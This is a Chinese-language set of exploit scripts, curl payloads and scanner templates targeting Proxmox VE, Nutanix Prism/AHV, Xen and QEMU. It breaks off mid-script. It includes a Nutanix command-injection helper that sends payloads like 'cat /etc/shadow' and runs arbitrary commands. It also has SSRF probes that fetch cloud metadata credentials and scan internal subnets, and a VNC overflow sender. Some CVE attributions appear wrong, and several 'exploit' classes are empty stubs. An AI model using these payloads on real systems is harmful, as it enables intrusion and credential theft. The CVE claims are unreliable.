虚拟化与超融合平台高危攻击链专题：Proxmox VE / Nutanix / Xen / QEMU 漏洞全解析

Guest LXC Container
    → PVE API (/nodes/{node}/lxc/{vmid}/...)
        → pve-container 权限检查（存在缺陷）
            → 宿主机 root shell

curl -k -X POST "https://<TARGET>:8006/api2/json/nodes/<NODE>/lxc/<VMID>/status/resume" \
  -H "Authorization: PVEAPIToken=<TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"skiplock": 1, "force": 1}' \
  --connect-timeout 10

curl -k "https://<TARGET>:8006/api2/json/nodes/<NODE>/lxc/<VMID>/status" \
  -H "Authorization: PVEAPIToken=<TOKEN>" \
  --connect-timeout 10

#!/usr/bin/env python3
import requests
import sys
import json
import urllib3
urllib3.disable_warnings()

class ProxmoxVESandboxEscape:
    def __init__(self, target, port=8006, token=None):
        self.target = target
        self.port = port
        self.base_url = f"https://{target}:{port}/api2/json"
        self.session = requests.Session()
        self.session.verify = False
        self.token = token
        if token:
            self.session.headers['Authorization'] = f'PVEAPIToken={token}'

    def check_instance(self):
        try:
            r = self.session.get(f"{self.base_url}/version", timeout=10)
            if r.status_code == 200:
                data = r.json().get('data', {})
                version = data.get('version', 'unknown')
                print(f"[+] Proxmox VE 版本: {version}")
                return True
            elif r.status_code == 401:
                print("[!] Proxmox VE 需要认证，提供 API Token")
                return False
        except requests.exceptions.SSLError:
            print("[!] SSL 握手失败，可能使用自签名证书")
            return False
        except Exception as e:
            print(f"[-] 连接失败: {e}")
            return False
        return False

    def enumerate_containers(self, node):
        try:
            r = self.session.get(f"{self.base_url}/nodes/{node}/lxc", timeout=10)
            if r.status_code == 200:
                containers = r.json().get('data', [])
                print(f"[+] 发现 {len(containers)} 个 LXC 容器")
                for c in containers:
                    vmid = c.get('vmid')
                    name = c.get('name', 'unknown')
                    status = c.get('status', 'unknown')
                    print(f"    [{vmid}] {name} ({status})")
                return containers
        except Exception as e:
            print(f"[-] 枚举容器失败: {e}")
        return []

    def enumerate_nodes(self):
        try:
            r = self.session.get(f"{self.base_url}/nodes", timeout=10)
            if r.status_code == 200:
                nodes = r.json().get('data', [])
                for node in nodes:
                    print(f"[+] 节点: {node.get('node')} (status: {node.get('status')})")
                return [n.get('node') for n in nodes]
        except Exception as e:
            print(f"[-] 枚举节点失败: {e}")
        return []

    def probe_escape_vector(self, node, vmid):
        print(f"[*] 检测 CVE-2024-41131 逃逸向量 (node={node}, vmid={vmid})")
        endpoints = [
            f"/nodes/{node}/lxc/{vmid}/status/resume",
            f"/nodes/{node}/lxc/{vmid}/config",
            f"/nodes/{node}/lxc/{vmid}/mount",
            f"/nodes/{node}/lxc/{vmid}/fs",
        ]
        for ep in endpoints:
            try:
                r = self.session.get(f"{self.base_url}{ep}", timeout=5)
                print(f"    {ep} → {r.status_code}")
            except Exception as e:
                print(f"    {ep} → 错误: {e}")

    def attempt_escape(self, node, vmid):
        print(f"[*] CVE-2024-41131 沙箱逃逸利用尝试")
        print(f"[*] 攻击路径: LXC 容器 {vmid} → 节点 {node} root")
        print(f"[!] 完整利用需要容器内执行权限配合 API 操作")
        print(f"[!] 建议参考 Proxmox 官方安全公告进行验证")

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_ip> [token] [node] [vmid]")
        sys.exit(1)

    target = sys.argv[1]
    token = sys.argv[2] if len(sys.argv) > 2 else None
    exploit = ProxmoxVESandboxEscape(target, token=token)
    if exploit.check_instance():
        nodes = exploit.enumerate_nodes()
        if nodes:
            node = sys.argv[3] if len(sys.argv) > 3 else nodes[0]
            containers = exploit.enumerate_containers(node)
            if containers:
                vmid = sys.argv[4] if len(sys.argv) > 4 else containers[0].get('vmid')
                exploit.probe_escape_vector(node, vmid)
                exploit.attempt_escape(node, vmid)

id: proxmox-ve-cve-2024-41131-detect

info:
  name: Proxmox VE LXC Sandbox Escape Detection
  author: security-research
  severity: high
  tags: proxmox,lxc,sandbox-escape,cve2024
  reference:
    - https://www.proxmox.com/en/news/security-advisories/

http:
  - method: GET
    path:
      - "{{BaseURL}}/api2/json/version"
    headers:
      Accept: application/json
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "version"
          - "proxmox"
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/api2/json/nodes"
    headers:
      Accept: application/json
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "node"
          - "status"
        condition: and
    extractors:
      - type: json
        name: node_name
        json:
          - ".data[0].node"

curl -k "https://<TARGET>:8006/api2/json/nodes/<NODE>/network?target=169.254.169.254" \
  -H "Authorization: PVEAPIToken=<TOKEN>" \
  --connect-timeout 10

curl -k "https://<TARGET>:8006/api2/json/nodes/<NODE>/network?target=127.0.0.1:3306" \
  -H "Authorization: PVEAPIToken=<TOKEN>" \
  --connect-timeout 10

#!/usr/bin/env python3
import requests
import sys
import json
import urllib3
urllib3.disable_warnings()

class ProxmoxVESSRF:
    def __init__(self, target, token, port=8006):
        self.base_url = f"https://{target}:{port}/api2/json"
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers['Authorization'] = f'PVEAPIToken={token}'

    def get_node(self):
        try:
            r = self.session.get(f"{self.base_url}/nodes", timeout=10)
            nodes = r.json().get('data', [])
            if nodes:
                return nodes[0].get('node')
        except Exception:
            pass
        return None

    def ssrf_probe(self, node, target_url):
        print(f"[*] SSRF 探测目标: {target_url}")
        try:
            endpoints = [
                f"/nodes/{node}/network",
                f"/nodes/{node}/storage",
                f"/nodes/{node}/status",
            ]
            for ep in endpoints:
                r = self.session.get(
                    f"{self.base_url}{ep}",
                    params={"target": target_url},
                    timeout=10
                )
                status = r.status_code
                length = len(r.text)
                print(f"    {ep} → HTTP {status} ({length} bytes)")
                if status == 200 and length > 100:
                    try:
                        data = r.json()
                        print(f"    [+] 可能的数据泄露:")
                        print(f"        {json.dumps(data, indent=2)[:500]}")
                        return data
                    except json.JSONDecodeError:
                        pass
        except Exception as e:
            print(f"    [-] 请求失败: {e}")
        return None

    def scan_internal_services(self, node):
        print("[*] 内网服务探测")
        targets = [
            "169.254.169.254",
            "127.0.0.1",
            "10.0.0.1",
            "192.168.1.1",
        ]
        for target in targets:
            self.ssrf_probe(node, target)

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target_ip> <api_token> [ssrf_target]")
        sys.exit(1)

    target = sys.argv[1]
    token = sys.argv[2]
    exploit = ProxmoxVESSRF(target, token)
    node = exploit.get_node()
    if node:
        print(f"[+] 节点: {node}")
        if len(sys.argv) > 3:
            exploit.ssrf_probe(node, sys.argv[3])
        else:
            exploit.scan_internal_services(node)

id: proxmox-ve-cve-2023-4234-ssrf

info:
  name: Proxmox VE API SSRF Detection
  author: security-research
  severity: medium
  tags: proxmox,ssrf,cve2023

http:
  - method: GET
    path:
      - "{{BaseURL}}/api2/json/nodes"
    headers:
      Accept: application/json
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "node"
        condition: and
    extractors:
      - type: json
        name: node_name
        json:
          - ".data[0].node"

  - method: GET
    path:
      - "{{BaseURL}}/api2/json/nodes/{{node_name}}/network?target=169.254.169.254"
    headers:
      Accept: application/json
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "ami-id"
          - "instance-id"
          - "local-hostname"
        condition: or

POST /api/nutanix/v3/clusters/... 
    → 未过滤参数 → os.system() / subprocess.Popen()
        → root shell

curl -k -X POST "https://<TARGET>:9440/api/nutanix/v3/clusters/list" \
  -H "Content-Type: application/json" \
  -d '{"filter":"id=;cat /etc/shadow; #"}' \
  --connect-timeout 10

curl -k -X POST "https://<TARGET>:9440/api/nutanix/v3/clusters/list" \
  -H "Content-Type: application/json" \
  -d '{"filter":"id=|id; #"}' \
  --connect-timeout 10

#!/usr/bin/env python3
import requests
import sys
import json
import urllib3
urllib3.disable_warnings()

class NutanixPrismCmdInject:
    def __init__(self, target, port=9440, username=None, password=None):
        self.base_url = f"https://{target}:{port}"
        self.session = requests.Session()
        self.session.verify = False
        if username and password:
            self.session.auth = (username, password)

    def check_prism(self):
        try:
            r = self.session.get(
                f"{self.base_url}/PrismGateway/services/rest/v1/cluster",
                timeout=10
            )
            if r.status_code == 200:
                data = r.json()
                name = data.get('name', 'unknown')
                version = data.get('version', 'unknown')
                print(f"[+] Nutanix 集群: {name} (版本: {version})")
                return True
            elif r.status_code == 401:
                print("[!] 需要认证凭据")
                return False
        except Exception as e:
            print(f"[-] 连接失败: {e}")
        return False

    def detect_injection(self):
        print("[*] 检测 CVE-2023-30253 命令注入")
        payloads = [
            {"filter": "id=test"},
            {"filter": "id=test'; echo nutanix_cmd_inject_test; #"},
            {"filter": "id=test|echo nutanix_cmd_inject_test"},
            {"filter": "id=$(echo nutanix_cmd_inject_test)"},
        ]
        for payload in payloads:
            try:
                r = self.session.post(
                    f"{self.base_url}/api/nutanix/v3/clusters/list",
                    json=payload,
                    timeout=10
                )
                status = r.status_code
                has_test = "nutanix_cmd_inject_test" in r.text
                print(f"    Payload: {payload['filter'][:50]}")
                print(f"    Response: HTTP {status} (injection: {'YES' if has_test else 'no'})")
                if has_test:
                    print("    [!!!] 命令注入确认！")
                    return True
            except Exception as e:
                print(f"    Error: {e}")
        return False

    def execute_command(self, command):
        print(f"[*] 执行命令: {command}")
        payload = {
            "filter": f"id=;{command}; #"
        }
        try:
            r = self.session.post(
                f"{self.base_url}/api/nutanix/v3/clusters/list",
                json=payload,
                timeout=15
            )
            return r.text
        except Exception as e:
            print(f"[-] 执行失败: {e}")
            return None

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_ip> [username] [password] [command]")
        sys.exit(1)

    target = sys.argv[1]
    username = sys.argv[2] if len(sys.argv) > 2 else None
    password = sys.argv[3] if len(sys.argv) > 3 else None
    exploit = NutanixPrismCmdInject(target, username=username, password=password)
    if exploit.check_prism():
        if exploit.detect_injection():
            cmd = sys.argv[4] if len(sys.argv) > 4 else "id"
            result = exploit.execute_command(cmd)
            if result:
                print(f"[+] 命令输出:\n{result[:2000]}")

id: nutanix-cve-2023-30253-cmd-injection

info:
  name: Nutanix Prism Element Command Injection
  author: security-research
  severity: critical
  tags: nutanix,prism,command-injection,cve2023
  reference:
    - https://security.nutanix.com/advisory/

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/nutanix/v3/clusters/list"
    headers:
      Content-Type: application/json
    body: '{"filter":"id=test'}'
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
          - 400
      - type: word
        words:
          - "cluster"
          - "entities"
          - "metadata"
        condition: or

  - method: GET
    path:
      - "{{BaseURL}}/PrismGateway/services/rest/v1/cluster"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "name"
          - "version"
        condition: and
    extractors:
      - type: json
        name: cluster_version
        json:
          - ".version"

curl -k -X GET "https://<TARGET>:9440/PrismGateway/services/rest/v1/proxy?target=http://169.254.169.254/latest/meta-data/" \
  -H "Authorization: Basic <BASE64_CREDS>" \
  --connect-timeout 10

curl -k -X POST "https://<TARGET>:9440/api/nutanix/v3/clusters/list" \
  -H "Content-Type: application/json" \
  -H "Authorization: Basic <BASE64_CREDS>" \
  -d '{"filter":"url=http://169.254.169.254/latest/meta-data/"}' \
  --connect-timeout 10

#!/usr/bin/env python3
import requests
import sys
import json
import base64
import urllib3
urllib3.disable_warnings()

class NutanixPrismSSRF:
    def __init__(self, target, username, password, port=9440):
        self.base_url = f"https://{target}:{port}"
        self.session = requests.Session()
        self.session.verify = False
        credentials = base64.b64encode(f"{username}:{password}".encode()).decode()
        self.session.headers['Authorization'] = f'Basic {credentials}'

    def check_prism_central(self):
        try:
            r = self.session.get(
                f"{self.base_url}/PrismGateway/services/rest/v1/cluster/list",
                timeout=10
            )
            if r.status_code == 200:
                print(f"[+] Prism Central 已识别")
                return True
        except Exception as e:
            print(f"[-] 连接失败: {e}")
        return False

    def ssrf_metadata(self):
        print("[*] CVE-2024-27486 SSRF → 元数据服务探测")
        metadata_paths = [
            "http://169.254.169.254/latest/meta-data/",
            "http://169.254.169.254/latest/meta-data/instance-id",
            "http://169.254.169.254/latest/meta-data/hostname",
            "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
        ]
        for path in metadata_paths:
            try:
                r = self.session.get(
                    f"{self.base_url}/PrismGateway/services/rest/v1/proxy",
                    params={"target": path},
                    timeout=10
                )
                if r.status_code == 200 and len(r.text) > 10:
                    print(f"    [+] {path}")
                    print(f"        {r.text[:200]}")
                    return True
                else:
                    print(f"    [-] {path} → HTTP {r.status_code}")
            except Exception as e:
                print(f"    [-] {path} → {e}")
        return False

    def ssrf_internal_scan(self, subnet="10.0.0"):
        print(f"[*] 内网服务扫描: {subnet}.0/24")
        common_ports = [22, 80, 443, 3306, 5432, 8080, 9440]
        for host_suffix in range(1, 20):
            host = f"{subnet}.{host_suffix}"
            for port in common_ports:
                url = f"http://{host}:{port}/"
                try:
                    r = self.session.get(
                        f"{self.base_url}/PrismGateway/services/rest/v1/proxy",
                        params={"target": url},
                        timeout=5
                    )
                    if r.status_code != 0 and len(r.text) > 0:
                        print(f"    [+] {host}:{port} → HTTP {r.status_code} ({len(r.text)} bytes)")
                except Exception:
                    pass

if __name__ == '__main__':
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <target_ip> <username> <password>")
        sys.exit(1)

    target = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    exploit = NutanixPrismSSRF(target, username, password)
    if exploit.check_prism_central():
        exploit.ssrf_metadata()

id: nutanix-cve-2024-27486-ssrf

info:
  name: Nutanix Prism Central SSRF Detection
  author: security-research
  severity: high
  tags: nutanix,prism,ssrf,cve2024

http:
  - method: GET
    path:
      - "{{BaseURL}}/PrismGateway/services/rest/v1/cluster/list"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
          - 401
      - type: word
        words:
          - "PrismGateway"
          - "cluster"
        condition: or

  - method: GET
    path:
      - "{{BaseURL}}/PrismGateway/services/rest/v1/proxy?target=http://169.254.169.254/latest/meta-data/"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "instance-id"
          - "ami-id"
          - "hostname"
        condition: or

curl -k -X POST "https://<TARGET>:9440/api/nutanix/v2.0/ahv/host" \
  -H "Content-Type: application/json" \
  -H "Authorization: Basic <BASE64_CREDS>" \
  -d '{"operation":"upgrade-privilege"}' \
  --connect-timeout 10

#!/usr/bin/env python3
import requests
import sys
import base64
import urllib3
urllib3.disable_warnings()

class NutanixAHVEscalation:
    def __init__(self, target, username, password, port=9440):
        self.base_url = f"https://{target}:{port}"
        self.session = requests.Session()
        self.session.verify = False
        credentials = base64.b64encode(f"{username}:{password}".encode()).decode()
        self.session.headers['Authorization'] = f'Basic {credentials}'
        self.session.headers['Content-Type'] = 'application/json'

    def check_ahv(self):
        try:
            r = self.session.get(
                f"{self.base_url}/PrismGateway/services/rest/v1/hosts",
                timeout=10
            )
            if r.status_code == 200:
                hosts = r.json().get('entities', [])
                print(f"[+] 发现 {len(hosts)} 个 AHV 主机")
                for h in hosts:
                    name = h.get('name', 'unknown')
                    hypervisor = h.get('hypervisor_full_name', 'unknown')
                    print(f"    {name}: {hypervisor}")
                return True
        except Exception as e:
            print(f"[-] 连接失败: {e}")
        return False

    def check_privilege(self):
        print("[*] CVE-2024-27487 AHV 权限提升检测")
        endpoints = [
            "/PrismGateway/services/rest/v1/ahv/config",
            "/PrismGateway/services/rest/v1/hosts/action",
            "/api/nutanix/v2.0/ahv/resources",
        ]
        for ep in endpoints:
            try:
                r = self.session.get(f"{self.base_url}{ep}", timeout=5)
                print(f"    {ep} → HTTP {r.status_code}")
            except Exception as e:
                print(f"    {ep} → {e}")

    def attempt_escalation(self):
        print("[*] CVE-2024-27487 权限提升尝试")
        print("[!] 该漏洞需要特定版本的 AHV 环境")
        print("[!] 完整利用链需要结合低权限 shell 和 AHV API 操作")
        print("[!] 建议参考 Nutanix 安全公告升级修复")

if __name__ == '__main__':
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <target_ip> <username> <password>")
        sys.exit(1)

    target = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    exploit = NutanixAHVEscalation(target, username, password)
    if exploit.check_ahv():
        exploit.check_privilege()
        exploit.attempt_escalation()

id: nutanix-cve-2024-27487-ahv-privesc

info:
  name: Nutanix AHV Privilege Escalation Detection
  author: security-research
  severity: high
  tags: nutanix,ahv,privesc,cve2024

http:
  - method: GET
    path:
      - "{{BaseURL}}/PrismGateway/services/rest/v1/hosts"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
          - 401
      - type: word
        words:
          - "entities"
          - "host"
        condition: or

  - method: GET
    path:
      - "{{BaseURL}}/PrismGateway/services/rest/v1/ahv/config"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "hypervisor"
          - "acropolis"
        condition: or

PV Guest VM
    → MMU 页表操作 (HVMOP / MMU_update)
        → 影子页表不一致
            → 任意内存读写
                → Dom0 root shell

# 在 PV Guest 内部检测虚拟化类型
dmesg | grep -i xen
cat /sys/hypervisor/type

# 检查 PV 特征
xen-detect
xl info | grep "PV Guest"

#!/usr/bin/env python3
import os
import sys
import platform
import subprocess

class XenCVE202421302:
    def __init__(self):
        self.is_xen = False
        self.is_pv = False
        self.xen_version = None

    def detect_xen(self):
        print("[*] Xen 环境检测")
        if os.path.exists("/sys/hypervisor/type"):
            with open("/sys/hypervisor/type") as f:
                hyp_type = f.read().strip()
                if hyp_type == "xen":
                    self.is_xen = True
                    print(f"[+] 检测到 Xen Hypervisor")

        if os.path.exists("/sys/hypervisor/version"):
            with open("/sys/hypervisor/version") as f:
                self.xen_version = f.read().strip()
                print(f"[+] Xen 版本: {self.xen_version}")

        if os.path.exists("/proc/xen"):
            self.is_xen = True
            print("[+] /proc/xen 存在")

        try:
            result = subprocess.run(
                ["xl", "info"],
                capture_output=True, text=True, timeout=5
            )
            if result.returncode == 0:
                for line in result.stdout.split('\n'):
                    if 'PV' in line and 'Guest' in line:
                        self.is_pv = True
                    if 'xen_version' in line:
                        print(f"[+] {line.strip()}")
        except (FileNotFoundError, subprocess.TimeoutExpired):
            pass

    def check_vulnerability(self):
        if not self.is_xen:
            print("[-] 非 Xen 环境，不受影响")
            return False

        print(f"[*] CVE-2024-21302 影响评估")
        print(f"[*] PV Guest: {'是' if self.is_pv else '否'}")

        if not self.is_pv:
            print("[+] 仅 PV 虚拟机受此漏洞影响")
            print("[+] HVM/硬件虚拟化 Guest 不受影响")
            return False

        print("[!] PV 虚拟机存在 CVE-2024-21302 风险")
        print("[!] 建议升级 Xen Hypervisor 或迁移为 HVM 模式")
        return True

    def check_mmu_tables(self):
        print("[*] 检查 MMU 相关接口")
        mmu_paths = [
            "/proc/xen/privcmd",
            "/dev/xen/xen-evtchn",
            "/dev/xen/gntdev",
        ]
        for path in mmu_paths:
            exists = os.path.exists(path)
            print(f"    {path}: {'存在' if exists else '不存在'}")

    def enumerate_pv_features(self):
        print("[*] PV 虚拟化特征枚举")
        features = [
            "/sys/hypervisor/uuid",
            "/proc/xen/capabilities",
            "/proc/xen/xenbus",
            "/sys/bus/xen",
        ]
        for feat in features:
            if os.path.exists(feat):
                print(f"    [+] {feat}")

if __name__ == '__main__':
    exploit = XenCVE202421302()
    exploit.detect_xen()
    if exploit.check_vulnerability():
        exploit.check_mmu_tables()
        exploit.enumerate_pv_features()

id: xen-cve-2024-21302-pv-escape

info:
  name: Xen PV VM to Dom0 Privilege Escalation
  author: security-research
  severity: high
  tags: xen,pv,privesc,cve2024
  reference:
    - https://xenbits.xen.org/xsa/

tcp:
  - inputs:
      - data: "GET / HTTP/1.0\r\nHost: {{Hostname}}\r\n\r\n"
    host:
      - "{{Hostname}}"
    port: 80
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Xen"
          - "xen"
        condition: or

http:
  - method: GET
    path:
      - "{{BaseURL}}/xn"
      - "{{BaseURL}}/"
    matchers-condition: or
    matchers:
      - type: word
        words:
          - "Xen"
          - "xenbus"
          - "xenstore"
        condition: or

xl dmesg | grep -i xen
xen-detect -v
cat /sys/hypervisor/version

#!/usr/bin/env python3
import os
import sys
import struct
import ctypes

class XenCVE202431141:
    def __init__(self):
        self泄露样本 = []

    def detect_environment(self):
        print("[*] CVE-2024-31141 Xen 信息泄露检测")
        if not os.path.exists("/proc/xen") and not os.path.exists("/sys/hypervisor/type"):
            print("[-] 非 Xen 环境")
            return False

        if os.path.exists("/sys/hypervisor/type"):
            with open("/sys/hypervisor/type") as f:
                htype = f.read().strip()
                print(f"[+] Hypervisor 类型: {htype}")

        if os.path.exists("/proc/xen/capabilities"):
            with open("/proc/xen/capabilities") as f:
                caps = f.read().strip()
                print(f"[+] Xen capabilities: {caps}")
                return True
        return False

    def check_info_leak(self):
        print("[*] 检查信息泄露面")
        leak_vectors = [
            "/proc/xen/xenbus",
            "/proc/xen/privcmd",
            "/sys/hypervisor/uuid",
        ]
        for vector in leak_vectors:
            if os.path.exists(vector):
                try:
                    with open(vector, 'rb') as f:
                        data = f.read(256)
                        addr_count = 0
                        for i in range(0, len(data) - 7, 8):
                            val = struct.unpack('<Q', data[i:i+8])[0]
                            if 0x7fff000000000000 <= val <= 0x7fffffffffffffff:
                                addr_count += 1
                        if addr_count > 0:
                            print(f"    [!] {vector}: 发现 {addr_count} 个疑似地址泄露")
                        else:
                            print(f"    [+] {vector}: 无明显地址泄露")
                except (PermissionError, OSError) as e:
                    print(f"    [-] {vector}: {e}")

    def assess_aslr_impact(self):
        print("[*] ASLR 影响评估")
        print("[!] CVE-2024-31141 可能泄露 Hypervisor ASLR 信息")
        print("[!] 泄露的地址信息可被用于辅助 VM Escape 利用")
        print("[!] 建议同时修补 CVE-2024-21302 以防止组合利用")

if __name__ == '__main__':
    exploit = XenCVE202431141()
    if exploit.detect_environment():
        exploit.check_info_leak()
        exploit.assess_aslr_impact()

id: xen-cve-2024-31141-info-leak

info:
  name: Xen MMU Information Disclosure Detection
  author: security-research
  severity: medium
  tags: xen,info-leak,aslr,cve2024

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
      - "{{BaseURL}}/xn"
    matchers-condition: or
    matchers:
      - type: word
        words:
          - "Xen"
          - "xen"
          - "hypervisor"
        condition: or
      - type: status
        status:
          - 200
          - 403

xl dmesg | grep -i iommu
xl info | grep -i iommu
cat /sys/kernel/debug/iommu/*

#!/usr/bin/env python3
import os
import sys
import subprocess
import xml.etree.ElementTree as ET

class XenCVE202346836:
    def __init__(self):
        self.domains = []

    def detect_xen(self):
        print("[*] CVE-2023-46836 Xen IOMMU DoS 检测")
        if not os.path.exists("/sys/hypervisor/type"):
            print("[-] 非 Xen 环境")
            return False
        print("[+] Xen Hypervisor 已识别")
        return True

    def check_iommu_config(self):
        print("[*] IOMMU 配置检查")
        iommu_paths = [
            "/sys/kernel/debug/iommu",
            "/sys/module/intel_iommu/parameters",
            "/sys/module/amd_iommu/parameters",
        ]
        iommu_found = False
        for path in iommu_paths:
            if os.path.exists(path):
                iommu_found = True
                print(f"    [+] IOMMU 模块路径: {path}")
                try:
                    for f in os.listdir(path):
                        print(f"        {f}")
                except PermissionError:
                    pass

        if not iommu_found:
            print("    [-] IOMMU 模块信息不可访问")
        return iommu_found

    def enumerate_passthrough_domains(self):
        print("[*] 枚举设备直通域")
        try:
            result = subprocess.run(
                ["xl", "list"],
                capture_output=True, text=True, timeout=5
            )
            if result.returncode == 0:
                for line in result.stdout.strip().split('\n')[1:]:
                    parts = line.split()
                    if len(parts) >= 4:
                        name = parts[0]
                        state = parts[3] if len(parts) > 3 else ''
                        print(f"    Domain: {name} (state: {state})")
        except (FileNotFoundError, subprocess.TimeoutExpired):
            print("    [-] xl 命令不可用")

    def assess_impact(self):
        print("[*] 影响评估")
        print("[!] CVE-2023-46836 可导致 Hypervisor DoS")
        print("[!] 设备直通环境（GPU/NVMe passthrough）风险最高")
        print("[!] 单个 Guest VM 的恶意操作可影响整个物理主机")
        print("[!] 建议升级 Xen 至修复版本")

if __name__ == '__main__':
    exploit = XenCVE202346836()
    if exploit.detect_xen():
        exploit.check_iommu_config()
        exploit.enumerate_passthrough_domains()
        exploit.assess_impact()

id: xen-cve-2023-46836-iommu-dos

info:
  name: Xen IOMMU Denial of Service Detection
  author: security-research
  severity: medium
  tags: xen,iommu,dos,cve2023
  reference:
    - https://xenbits.xen.org/xsa/

tcp:
  - inputs:
      - data: "GET / HTTP/1.0\r\nHost: {{Hostname}}\r\n\r\n"
    host:
      - "{{Hostname}}"
    port: 80
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Xen"
        condition: or

VNC Client (attacker-controlled)
    → 超长 RFB 协议输入
        → 栈缓冲区溢出
            → ROP chain → mmap/execve
                → Host shell (same user as QEMU process)

python3 -c "
import socket
import struct
import time

target = '<TARGET>'
port = 5900

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))

banner = s.recv(1024)
print(f'[*] VNC Banner: {banner.decode(errors=\"ignore\").strip()}')

s.send(b'RFB 003.008\n')
auth = s.recv(1024)
print(f'[*] Auth: {auth.hex()}')

overflow_payload = b'A' * 4096
s.send(overflow_payload)

time.sleep(2)
s.close()
print('[*] Payload sent - check for crash')
"

#!/usr/bin/env python3
import socket
import struct
import sys
import time

class QEMUVNCOverflow:
    def __init__(self, target, port=5900):
        self.target = target
        self.port = port

    def check_vnc(self):
        print(f"[*] 检测 VNC 服务: {self.target}:{self.port}")
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(5)
            s.connect((self.target, self.port))
            banner = s.recv(1024)
            banner_str = banner.decode('utf-8', errors='ignore').strip()
            if banner_str.startswith('RFB'):
                print(f"[+] VNC 服务存在: {banner_str}")
                s.close()
                return True
            s.close()
        except socket.timeout:
            print("[-] 连接超时")
        except ConnectionRefusedError:
            print("[-] 连接被拒绝")
        except Exception as e:
            print(f"[-] 连接失败: {e}")
        return False

    def detect_qemu_vnc(self):
        print("[*] CVE-2024-3446 QEMU VNC 缓冲区溢出检测")
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(5)
            s.connect((self.target, self.port))
            banner = s.recv(1024)
            version = banner.decode('utf-8', errors='ignore').strip()
            print(f"[+] VNC 版本: {version}")

            s.send(b'RFB 003.008\n')
            time.sleep(1)
            auth_data = s.recv(1024)
            print(f"[+] 认证类型数据: {len(auth_data)} bytes")

            s.close()
            return 'QEMU' in version or len(auth_data) > 0
        except Exception as e:
            print(f"[-] VNC 探测失败: {e}")
            return False

    def test_overflow_boundary(self):
        print("[*] 缓冲区溢出边界测试")
        sizes = [256, 512, 1024, 2048, 4096]
        for size in sizes:
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.settimeout(3)
                s.connect((self.target, self.port))
                s.recv(1024)
                s.send(b'RFB 003.008\n')
                time.sleep(0.5)
                s.recv(1024)

                payload = b'\x00' * size
                try:
                    s.send(payload)
                    print(f"    {size} bytes → 已发送")
                except Exception:
                    print(f"    {size} bytes → 发送失败（可能已崩溃）")
                finally:
                    s.close()
            except Exception as e:
                print(f"    {size} bytes → 连接失败: {e}")

    def exploit(self):
        print("[*] CVE-2024-3446 完整利用尝试")
        print("[!] 该漏洞需要精确的栈布局控制")
        print("[!] 完整 exploit 需要 ROP chain 构造")
        print("[!] 建议参考 QEMU 官方安全补丁和公开 PoC")

        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(5)
            s.connect((self.target, self.port))
            banner = s.recv(1024)
            print(f"[*] VNC Banner: {banner[:50]}")

            s.send(b'RFB 003.008\n')
            time.sleep(0.5)
            auth = s.recv(1024)

            overflow = b'\x41' * 4096
            s.send(overflow)
            print("[*] 溢出 payload 已发送")
            s.close()
        except Exception as e:
            print(f"[*] 连接中断（可能已触发崩溃）: {e}")

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_ip> [vnc_port]")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 5900
    exploit = QEMUVNCOverflow(target, port)
    if exploit.check_vnc():
        exploit.detect_qemu_vnc()
        exploit.test_overflow_boundary()
        exploit.exploit()

id: qemu-cve-2024-3446-vnc-overflow

info:
  name: QEMU VNC Buffer Overflow Detection
  author: security-research
  severity: high
  tags: qemu,vnc,buffer-overflow,cve2024
  reference:
    - https://www.qemu.org/

tcp:
  - inputs:
      - data: "RFB 003.008\n"
    host:
      - "{{Hostname}}"
    port: 5900
    read-size: 1024
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "RFB"
      - type: word
        words:
          - "QEMU"
          - "qemu"
        condition: or

  - inputs:
      - data: "RFB 003.008\n"
    host:
      - "{{Hostname}}"
    port: 5900
    read-size: 1024
    matchers:
      - type: word
        words:
          - "RFB"

# 检查 QEMU 是否启用了 IOMMU
ps aux | grep qemu | grep -i iommu
xl domid <guest_name>
xl dmesg | grep -i iommu

#!/usr/bin/env python3
import os
import sys
import subprocess
import glob

class QEMUCVE20233301:
    def __init__(self):
        self.qemu_processes = []

    def detect_qemu(self):
        print("[*] CVE-2023-3301 QEMU IOMMU 提权检测")
        try:
            result = subprocess.run(
                ["pgrep", "-a", "qemu"],
                capture_output=True, text=True, timeout=5
            )
            if result.returncode == 0:
                for line in result.stdout.strip().split('\n'):
                    if line:
                        self.qemu_processes.append(line)
                        print(f"[+] QEMU 进程: {line[:120]}")
                return len(self.qemu_processes) > 0
            else:
                print("[-] 未检测到 QEMU 进程")
        except FileNotFoundError:
